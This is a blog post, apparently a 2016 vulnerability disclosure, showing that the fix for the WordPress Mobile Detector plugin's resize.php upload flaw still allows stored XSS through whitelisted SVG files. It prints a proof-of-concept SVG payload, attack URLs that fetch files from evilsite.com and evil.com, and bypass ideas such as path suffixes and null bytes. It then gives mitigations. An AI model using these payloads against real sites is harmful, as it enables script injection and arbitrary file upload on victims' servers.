Wordpress Mobile Detector Incorrect Fix Leads To Stored XSS


Recently, Wordpress Mobile Detector plugin was in news for the "Remote Code Execution" vulnerability that was found inside the resize.php file. The vulnerability allowed an external attacker to upload arbitrary files to the server as there was no validation being performed for the file-type that has to be retrieved from an external source.

Soon after the vulnerability became public, the plugin was taken down from wordpress directory until the issue was fixed. However, as per my analysis the fix is incomplete and leads to stored XSS. 

The Vulnerability

Let's discuss about the initial vulnerability first. The following PHP code takes input via src parameter (GET or POST) and checks for the existence of the file. If it exists, appropriate content-type header is set. 

Code

<?php
if (isset($_REQUEST['src'])) { $path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']);
if(file_exists($path)){
.
.
.
.
file_put_contents($path, file_get_contents($_REQUEST['src']));

?>

It then utilizes the file_get_contents function in order to fetch file contents from a URL and upload it to the webhost under cache directory.  Please note that, this is only possible if allow_url_fopen is enable upon the server which limits the effectiveness and impact of the exploit.  The problem with the above code is that the code does not perform any check for extensions that are allowed.  So, in case if an can fetch/execute PHP, ASPX code it results in a code execution.

The (incomplete) Fix

The following fix was implemented which defined a whitelist of all extensions that are acceptable (primarily images). The code checks if the requested file ends with the whitelisted extensions before they are fetched and uploaded. 

<?php
.
.
.
.
.
$acceptable_extensions = ['png','gif','jpg','jpeg','jif','jfif','svg'];
$info = pathinfo($_REQUEST['src']);
// Check file extension
if(in_array($info['extension'],$acceptable_extensions)){
file_put_contents($path, file_get_contents($_REQUEST['src']));

?>

The problem with the above fix is that it whitelists "svg" extension. It is a widely known fact that svg images can execute JavaScript. 

Using SVG To Trigger Stored XSS

In order to demonstrate the finding, The following svg file would be hosted on a Remote Server. 

test.svg

<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg onload="alert(1)" xmlns="http://www.w3.org/2000/svg"><defs><font id="x"><font-face font-family="y"/></font></defs></svg>

This image once requested via "src" parameter will be saved to cache directory:

http://www.example.com/wp-content/plugins/wp-mobile-detector/resize.php?src=evilsite.com/test.svg

Upon visiting the uploaded image: 

http://www.example.com/wp-content/plugins/wp-mobile-detector/cache/test.svg


Other Attack Possibilities

i) In case where path finishes with an allowed extensions there is an attack possibility - victim.com/test.php/test.jpg.

ii) In older version of PHP, it is possible to append a nullbyte and tricking the server into uploading a malicious PHP file. Example - http://evil.com/malicious.php.svg

iii) In case if Display_errors is set to true in php.ini file. The file_get_contents() function can be utilized for . A similar issue was discovered by me in the year 2013. You can refer to the following blog post -  phpThumb Server Side Request Forgery

iv) In case where path finishes with an allowed extensions there is an attack possibility - victim.com/test.php/test.jpg. 

v) Even allowing external users to fetch and upload images can external images might introduce issues such as someone can host porn images and tarnish companies reputation, someone can deliberately upload a copyrighted image and sue the company, since there is no limit to the number of images one can upload, one can still attempt to exhaust server resources by uploading tons of images. 

Suggested Fix For Vendor 

i) The suggested fix is removing the "svg" extension from whitelist

$acceptable_extensions = ['png','gif','jpg','jpeg','jif','jfif''];

ii) File names should be re-written after they are uploaded, so that their location may not be guessed. along with directory listing should also be disabled. 

Suggested Fix For Webmasters

iii) Server administrators should modify the .htaccess file to only support allowed extensions. and prevent accessing other files.

iv) Content-Type-Options: nosniff header to prevent exploiting the site using SWF file with .jpg extension for example - https://github.com/nccgroup/CrossSiteContentHijacking.

v) Content-Disposition header should be utilized.

Thanks for Soroush Dallili from NCC group and Daniel Sid from Sucuri for tipping off. 
Wordpress Mobile Detector Incorrect Fix Leads To Stored XSS Wordpress Mobile Detector Incorrect Fix Leads To Stored XSS Reviewed by AC10 Tech on Monday, June 13, 2016 Rating: 5

No comments:

Powered by Blogger.